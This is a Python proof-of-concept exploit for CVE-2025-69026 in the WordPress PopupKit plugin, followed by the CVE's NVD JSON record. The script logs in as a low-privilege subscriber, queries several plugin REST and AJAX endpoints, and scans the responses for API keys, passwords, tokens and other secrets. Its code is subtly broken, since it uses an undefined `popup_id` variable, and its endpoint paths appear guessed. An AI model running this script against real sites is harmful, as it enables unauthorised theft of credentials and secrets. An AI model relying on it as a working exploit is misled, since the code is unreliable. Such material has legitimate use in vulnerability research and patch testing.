CVE-2025-69026

# CVE-2025-69026 PoC - PopupKit Sensitive Data Exposure # This PoC demonstrates the information disclosure vulnerability in PopupKit plugin import requests import json TARGET_URL = "http://target-wordpress-site.com" # Authentication with low-privilege user (subscriber role) USERNAME = "lowpriv_user" PASSWORD = "password123" def get_auth_token(): """Get WordPress authentication cookie/token""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In' } response = session.post(login_url, data=login_data) return session.cookies.get_dict() def exploit_sensitive_data_exposure(): """Exploit the information disclosure vulnerability""" cookies = get_auth_token() # Target PopupKit API endpoint that exposes sensitive data # This endpoint lacks proper access control vulnerable_endpoints = [ f"{TARGET_URL}/wp-json/popupkit/v1/popups", f"{TARGET_URL}/wp-json/popupkit/v1/popups/{popup_id}", f"{TARGET_URL}/wp-admin/admin-ajax.php?action=get_popup_data" ] for endpoint in vulnerable_endpoints: try: response = requests.get(endpoint, cookies=cookies) if response.status_code == 200: data = response.json() print(f"[+] Successfully accessed: {endpoint}") print(f"[+] Response: {json.dumps(data, indent=2)}") # Check for sensitive information in response sensitive_keywords = ['api_key', 'secret', 'password', 'token', 'credential'] for keyword in sensitive_keywords: if keyword.lower() in str(data).lower(): print(f"[!] Potential sensitive data found containing '{keyword}'") except Exception as e: print(f"[-] Error accessing {endpoint}: {e}") if __name__ == "__main__": print("CVE-2025-69026 PopupKit Information Disclosure PoC") print("=" * 50) exploit_sensitive_data_exposure()

{"cve": {"id": "CVE-2025-69026", "sourceIdentifier": "[email protected]", "published": "2025-12-30T11:16:01.130", "lastModified": "2026-04-23T15:36:17.573", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in Roxnor PopupKit popup-builder-block allows Retrieve Embedded Sensitive Data.This issue affects PopupKit: from n/a through <= 2.1.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/popup-builder-block/vulnerability/wordpress-popupkit-plugin-2-1-5-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}